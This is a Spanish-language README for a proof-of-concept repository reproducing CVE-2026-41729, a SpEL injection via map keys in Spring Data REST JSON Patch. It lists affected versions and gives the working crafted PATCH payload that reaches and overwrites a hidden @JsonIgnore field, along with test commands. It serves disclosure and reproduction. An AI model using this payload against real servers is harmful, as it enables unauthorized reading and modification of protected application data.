
CVE-2026-41729 PoC
Este repositorio es el PoC mínimo de reproducción de CVE-2026-41729, publicado como aviso de seguridad oficial de Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NCuando Spring Data REST procesa una solicitud JSON Patch (Content-Type: application/json-patch+json), existía un problema que insertaba directamente fragmentos de ruta de clave de mapa de una propiedad de tipo Map en expresiones SpEL.
Según el aviso oficial, si una entidad persistente expone una propiedad de tipo Map y un atacante puede enviar una solicitud PATCH a ese recurso de elemento, puede manipular los segmentos de clave de mapa para escapar del literal indexador de mapa previsto y evaluar sub-expresiones SpEL en el contexto de la raíz agregada. Se ha publicado que tanto la ruta de parche de lectura como la de escritura se ven afectadas.
Este PoC utiliza la ruta de parche de escritura para mostrar que un campo @JsonIgnore, que no se expone en la representación REST normal, puede ser modificado mediante una ruta JSON Patch manipulada.
Productos afectados según el aviso oficial:
Versiones afectadas:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Versiones corregidas:
3.7.204.3.174.4.154.5.12 o 4.5.11.15.0.6 o 5.0.5.1La prueba inicia una aplicación Spring Boot real y envía una solicitud HTTP PATCH al endpoint del repositorio Spring Data REST.
El objeto de dominio tiene la siguiente estructura:
people expuesto externamentehiddenChildren que existe dentro de cada Person pero está oculto en la representación Jackson/Spring Data RESTEn la respuesta REST normal, hiddenChildren y sus valores internos no son visibles.
GET /wrappers/sample
Un JSON Patch que especifique directamente la propiedad oculta es rechazado.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
Sin embargo, al usar una clave de mapa manipulada, durante la conversión de ruta JSON Patch a ruta SpEL de Spring Data REST, se puede salir del literal de clave de mapa previsto y llegar a la ruta de la propiedad oculta.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
En la versión vulnerable, esta solicitud tiene éxito y el valor interno cambia a:
before -> after
La prueba confirma que no se crea una clave real a'].hiddenChildren['b en el mapa, sino que la ruta de propiedad oculta se modifica debido a la ruptura de la expresión.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
Resultado esperado en la versión vulnerable:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
El éxito de la prueba significa que "se ha reproducido el comportamiento vulnerable". Es decir, en dependencias vulnerables, la solicitud JSON Patch manipulada tiene éxito, demostrando la modificación del estado interno oculto.
Este repositorio utiliza el parent Spring Boot 3.5.14, y en esa combinación se resuelve spring-data-rest-webmvc 4.5.11. Esto está incluido en el rango afectado del aviso oficial: 4.5.0 - 4.5.11.
Un atacante que pueda enviar solicitudes JSON Patch a un endpoint de Spring Data REST puede manipular claves de mapa para inducir una evaluación no intencionada de rutas SpEL en el servidor. Como resultado, los valores internos del grafo de objetos que la aplicación pretendía no exponer en la representación REST pueden ser leídos o modificados.
El aviso oficial evaluó el impacto de confidencialidad e integridad como High.
El aviso oficial de Spring menciona lo siguiente: